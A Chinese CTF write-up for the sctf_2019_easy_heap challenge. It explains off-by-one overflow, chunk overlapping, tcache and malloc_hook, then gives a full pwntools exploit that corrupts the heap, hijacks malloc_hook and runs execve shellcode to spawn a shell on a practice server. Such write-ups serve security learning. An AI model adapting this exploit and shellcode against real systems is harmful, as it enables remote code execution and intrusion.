大佬博客传送门:sctf_2019_easy_heap - LynneHuan - 博客园 (cnblogs.com)
知识更新:
1.你需要了解一下off-by-one,unlink,overlapping是啥
传送门在这里:堆中的 Off-By-One - CTF Wiki (ctf-wiki.org)
2.了解一下chunk 空间的共用情况,也就是下一个的 chunk 的 prev_size 域给当前 chunk 当做数据域使用,这 种情况只出现在 malloc 的大小为 8 的奇数倍(32 为 4 的奇数倍)的情况。下面0x18,0x28之类的chunk都会用到这点。遇到了不要迷惑。
3.off-by-one再详细解释一下:
结合一下本题的图
这里=0是个溢出。下面创一个0x500大小chunk,size位默认0x501,低三位是拿来标记的,p位因为前面chunk不是free状态,所以为1
pre_size | size |
fd | bk |
假设我们有能力写到pre-size,那么size位会溢出一个字节大小0,0x501变成0x500.
这是小端序模式,0x501在size位是这样存储的
0x01 | 0x05 |
4.虽然本题保护开的很全,但程序刚开始调用了mmap,为咱们分配了一块可读可写区域,所以选择写入sh,调用它。
5.malloc_hook默认0,当有地址时,调用malloc会自动跳转hook里的地址。
6.tcache机制可以了解一下,我目前理解为大号fastbin。
解题逻辑较清晰。
创建0123chunk,03为smallchunk,但比tacachebin范围大,因此free时返回到unsortedbin。
先free0,再利用2把3的size位的p改成0。从而使3包住0123,之后free1,2。Allocate(0x440) Allocate(0x510),把这个合体后的unsortedchunk拆开用,分别利用uaf写入sh和更改malloc_hook。之后随便malloc一下调动shellcode。大功告成。
exp如下
from pwn import *
sh = remote("node4.buuoj.cn",25553)
def Allocate(size:int) -> int:
sh.sendlineafter(">> ", "1")
sh.sendlineafter("Size: ", str(size))
def Delete(idx:int):
sh.sendlineafter(">> ", "2")
sh.sendlineafter("Index: ", str(idx))
def Fill(idx:int, content:(bytes, str)):
sh.sendlineafter(">> ", "3")
sh.sendlineafter("Index: ", str(idx))
sh.sendafter("Content: ", content)
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#
sh.recvuntil("Mmap: ")
mmap_addr = int(sh.recv(12),16)
Allocate(0x410) # 0
Allocate(0x28) # 1
Allocate(0x18) # 2
Allocate(0x4f0) # 3
Allocate(0x10) # 4
#
Delete(0)
Fill(2, 0x10 * b'a' + p64(0x470))
Delete(3)
Delete(1)
Delete(2)
Allocate(0x440) # 0
Allocate(0x510) # 1
payload = b'a' * 0x410 + p64(0) + p64(0x31) + p64(mmap_addr + 0x10)
Fill(0, payload + b'\n')
Allocate(0x28) # 2
Allocate(0x28) # 3
Fill(3, shellcode + b'\n')
Fill(1, '\x30\n')
Allocate(0x18) # 5
Allocate(0x18) # 6
Fill(6, p64(mmap_addr + 0x10) + b'\n')
sh.sendlineafter(">> ", "1")
sh.sendlineafter("Size: ", str(16))
sh.interactive()